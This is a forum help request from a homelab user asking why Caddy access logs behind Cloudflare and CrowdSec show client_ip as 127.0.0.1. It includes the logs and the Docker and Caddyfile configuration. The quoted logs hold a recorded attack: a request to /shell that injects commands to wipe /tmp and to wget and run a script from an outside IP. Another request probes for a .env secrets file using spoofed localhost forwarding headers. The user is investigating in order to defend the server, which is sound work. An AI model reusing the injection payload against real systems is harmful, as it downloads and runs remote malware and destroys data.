1. The problem I’m having:
I have exposed a caddy server on a firewalled host in my homelab, and set up crowdsec, the caddy bouncer, and caddy logs to monitor activity on the server. I have DNS for three specific subdomains (auth.domain.com for authentication, vpn.domain.com for access to the VPN service, and wiki.domain.com for access to the homepage of the wiki) that point towards my public IPv4 address. My DNS is through cloudflare, and I have proxied all three of the subdomains through their proxy servers. I believe I have set up my Caddyfile to extract the correct client_ips from requests, using the cloudflare trusted proxies plugin.
I am running Caddy in a docker container (using a dockerfile that uses xcaddy to build a version with the plugin above and the crowdsec plugin) on the host, along with the VPN service, and the crowdsec agent.
Everything is working, but a few log messages and alerts from Crowdsec have me concerned, and I would appreciate guidance on next steps for investigation and further hardening.
I saw some alerts from Crowdsec about requests attempting to access probing/malicious endpoints, but the requests have been tagged as coming from 127.0.0.1 (they have a client_ip of 127.0.0.1 in the Caddy logs). Inspecting the logs, I am able to see that a header set by Cloudflare - cf-connecting-ip - is set to (what I assume is) the actual client IP. The other cloudflare headers are set to the best of my knowledge and look correct. See the logs below. These requests all seem to target my wiki.domain.com endpoint, which I tried to configure to redirect all requests to /Home, so I’m curious of the redirect is causing this issue.
The other thing that has me concerned is one specific log message I found while investigating these alerts. There is a single log message attempting to access `127.0.0.1:80/shell?cd+/tmp;rm±rf+*;wget+45.90.12.71/jaws;sh+/tmp/jaws`. I am curious how a request can come to Caddy with the host listed as 127.0.0.1:80 unless it is coming from the machine itself. I do not know how to diagnose this issue, but looking up the payload (45.90.12.71/jaws) it seems listed as a potential security issue, though I can’t find any specifics about what.
Mostly I’m feeling a bit in over my head, and would appreciate some help. Thanks in advance!
2. Error messages and/or full log output:
A sample log line for the generic client_ip issue: (they’re all basically the same, the issue I’m interested in is figuring out why the client_ip is listed as localhost)
{
"level":"info",
"ts":1770188100.642438,
"logger":"http.log.access",
"msg":"handled request",
"request":{
"remote_ip":"172.71.118.221",
"remote_port":"9712",
"client_ip":"127.0.0.1",
"proto":"HTTP/2.0",
"method":"GET",
"host":"wiki.cashtoyes.xyz",
"uri":"/stripe/.env",
"headers":{
"Cf-Connecting-Ip":[
"185.177.72.52"
],
"Accept-Language":[
"en-US,en;q=0.9"
],
"Cf-Ipcountry":[
"FR"
],
"Cf-Visitor":[
"{\"scheme\":\"https\"}"
],
"X-Forwarded-Proto":[
"https"
],
"True-Client-Ip":[
"127.0.0.1"
],
"User-Agent":[
"curl/8.7.1"
],
"X-Azure-Clientip":[
"127.0.0.1"
],
"X-Forwared":[
"127.0.0.1
"
],
"X-Azure-Socketip":[
"127.0.0.1"
],
"Accept":[
"*/*"
],
"X-Forwarded-For":[
"127.0.0.1,185.177.72.52"
],
"X-Originating-Ip":[
"127.0.0.1"
],
"Cdn-Loop":[
"cloudflare; loops=1"
],
"Cf-Ray":[
"9c88428cbf5eebb0-CDG"
],
"X-Host":[
"127.0.0.1"
],
"X-Client-Ip":[
"127.0.0.1"
],
"Accept-Encoding":[
"gzip, br
"
]
},
"tls":{
"resumed":false,
"version":772,
"cipher_suite":4867,
"proto":"h2",
"server_name":"wiki.cashtoyes.xyz"
}
},
"bytes_read":0,
"user_id":"",
"duration":0.000697309,
"size":0,
"status":403,
"resp_headers":{
"Server":[
"Caddy"
],
"Alt-Svc":[
"h3=\":443\"; ma=2592000"
],
"Content-Type":[
"text/p
lain; charset=utf-8"
]
}
}
The single log line for the Jaws payload issue:
{
"level": "info",
"ts": 1770237647.0067222,
"logger": "http.log.access",
"msg": "handled request",
"request": {
"remote_ip": "201.205.247.46",
"remote_port": "58614",
"client_ip": "201.205.247.46",
"proto": "HTTP/1.1",
"method": "GET",
"host": "127.0.0.1:80",
"uri": "/shell?cd+/tmp;rm+-rf+*;wget+45.90.12.71/jaws;sh+/tmp/jaws",
"headers": {
"User-Agent": [
"Hello, world"
],
"Accept": [
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"
],
"Connection": [
"keep-alive"
]
}
},
"bytes_read": 0,
"user_id": "",
"duration": 0.000022878,
"size": 0,
"status": 308,
"resp_headers": {
"Server": [
"Caddy"
],
"Connection": [
"close"
],
"Location": [
"https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+45.90.12.71/jaws;sh+/tmp/jaws"
],
"Content-Type": []
}
}
3. Caddy version:
docker compose exec caddy caddy version
v2.10.2 h1:g/gTYjGMD0dec+UgMw8SnfmJ3I9+M2TdvoRL/Ovu6U8=
Here is the Dockerfile I am using for reference:
FROM caddy:builder AS builder
RUN --mount=type=cache,target=/go/pkg/mod \
--mount=type=cache,target=/root/.cache/go-build \
xcaddy build \
--with github.com/hslatman/caddy-crowdsec-bouncer \
--with github.com/WeidiDeng/caddy-cloudflare-ip
FROM caddy:latest
COPY --from=builder /usr/bin/caddy /usr/bin/caddy
4. How I installed and ran Caddy:
a. System environment:
uname -a
Linux netbird 6.8.0-94-generic #96-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 9 20:36:55 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux
It is a Ubuntu VM running on Proxmox. Caddy is running in a docker container with the above Dockerfile.
b. Command:
docker compose up -d
c. Service/unit/compose file:
docker-compose.yml:
services:
caddy:
container_name: caddy
build:
context: .
dockerfile: Dockerfile
restart: unless-stopped
ports:
- "80:80"
- "443:443"
- "443:443/udp"
volumes:
- ./conf:/etc/caddy
- ./site:/srv
- caddy_data:/data
- caddy_config:/config
volumes:
caddy_data:
caddy_config:
d. My complete Caddy config:
{
log {
output stdout
format json
include http.log.access admin.api
}
servers {
trusted_proxies cloudflare {
interval 12h
timeout 15s
}
}
crowdsec {
api_url http://172.17.0.1:8181
api_key **REDACTED**
ticker_interval 15s
appsec_url http://172.17.0.1:7422
}
}
auth.cashtoyes.xyz {
log
route {
crowdsec
reverse_proxy 10.0.0.70:9000
}
}
# NetBird Caddyfile Snippet
# Generated by getting-started.sh
#
# This config uses container names since Caddy is on the same Docker network.
# Add this block to your Caddyfile and reload Caddy.
netbird.cashtoyes.xyz {
log
route {
crowdsec
appsec
# Relay (WebSocket)
reverse_proxy /relay* netbird-relay:80
# Signal WebSocket
reverse_proxy /ws-proxy/signal* netbird-signal:80
# Signal gRPC (h2c for plaintext HTTP/2)
reverse_proxy /signalexchange.SignalExchange/* h2c://netbird-signal:10000
# Management API
reverse_proxy /api/* netbird-management:80
# Management WebSocket
reverse_proxy /ws-proxy/management* netbird-management:80
# Management gRPC
reverse_proxy /management.ManagementService/* h2c://netbird-management:80
# Embedded IdP OAuth2
reverse_proxy /oauth2/* netbird-management:80
# Dashboard (catch-all)
reverse_proxy /* netbird-dashboard:80
}
}
wiki.cashtoyes.xyz {
log
route {
@homepage {
path /Home
path /Home/image*
path /static/*
}
@other not path @homepage
crowdsec
appsec
reverse_proxy @homepage http://10.0.0.149:8085
redir @other /Home
respond 403
}
}
5. Links to relevant resources:
Netbird portion of the configuration was generated as part of their startup script, but has been working fine. It’s truly just not understanding these logs that I am concerned about.